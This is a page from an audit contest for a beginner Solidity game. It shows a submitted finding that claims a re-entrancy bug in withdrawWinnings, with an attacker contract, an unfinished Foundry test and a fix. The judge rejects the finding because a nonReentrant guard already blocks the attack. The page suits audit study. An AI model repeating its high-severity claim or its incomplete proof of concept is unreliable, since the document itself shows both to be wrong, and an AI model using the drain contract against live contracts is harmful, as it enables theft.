Last Man Standing
First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Potential Re-entrancy Attack In Game.sol::withdrawWinnings

legacy

Root + Impact

Improper code pattern in "Game.sol::withdrawWinnings" leading to a re-entrancy vulnerability.

Description

  • The "Game.sol::withdrawWinnings" function is expected to allow the winner withdraw their winnings.

  • Howvever, the function is suscpetible to a re-entrancy attack due to not following the CEI pattern and as such, funds are at risk. The code transfers value to the caller first and then updates state, which is bad practice.

function withdrawWinnings() external nonReentrant {
uint256 amount = pendingWinnings[msg.sender]; // Stores ETH owed to the declared winner (pot + prev king payouts)
require(amount > 0, "Game: No winnings to withdraw.");
​
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
//@audit does not follow CEI
@> pendingWinnings[msg.sender] = 0;
​
emit WinningsWithdrawn(msg.sender, amount);
}

Risk

Likelihood:

  • This attack would occur when an attacker interacts with the protocol with a malicious contract that would re-enter the function before state is updated due to the bug.


Impact:

  • Impact 1 Due to this vulnerability, the protocol funds are at risk.

  • Impact 2

Proof of Concept

The below attacker contract shows how an attacker can interact with the game and position for an attack. Also attached is a test case showing how this would happen in real time.

contract ReentrancyAttacker {
Game public game;
address public owner;
bool public attackOngoing;
​
constructor(Game _game) payable {
game = _game;
owner = msg.sender;
}
​
receive() external payable {
if (attackOngoing && address(game).balance >= 1 ether) {
game.withdrawWinnings();
}
}
​
function startAttack() external {
attackOngoing = true;
game.withdrawWinnings();
}
​
function stopAttack() external {
attackOngoing = false;
}
​
function withdraw() external {
payable(owner).transfer(address(this).balance);
}
​
​
​
//test showing the re-entrancy attack
function test_ReentrancyAttackOnWithdrawWinnings() public {
// Deploy the attacker contract
vm.startPrank(deployer);
ReentrancyAttacker attacker = new ReentrancyAttacker{value: 2 ether}(game);
vm.stopPrank();
​
// Simulate attacker being the current king
vm.prank(address(attacker));
game.claimThrone{value: 1 ether}();
​
// Fast-forward time to allow winner declaration
vm.warp(block.timestamp + game.gracePeriod() + 1);
game.declareWinner();
​
// Fund attacker’s pendingWinnings (simulate normal payout)
// This would have happened naturally via claimThrone + declareWinner
vm.prank(deployer);
game.pendingWinnings(address(attacker)); // Check value before attack
​
// Start reentrancy attack
vm.startPrank(address(attacker));
}

Recommended Mitigation

The below code shows the proper implementation of the withdrawWinnings function, where state is first updated before the external interaction involving value.

function withdrawWinnings() external nonReentrant {
uint256 amount = pendingWinnings[msg.sender]; // Stores ETH owed to the declared winner (pot + prev king payouts)
require(amount > 0, "Game: No winnings to withdraw.");
pendingWinnings[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
emit WinningsWithdrawn(msg.sender, amount);
}
​
Updates

Appeal created

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Game::withdrawWinnings reentrancy

We only audit the current code in scope. We cannot make speculation with respect to how this codebase will evolve in the future. For now there is a nonReentrant modifier which mitigates any reentrancy. CEI is a good practice, but it's not mandatory. Informational

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!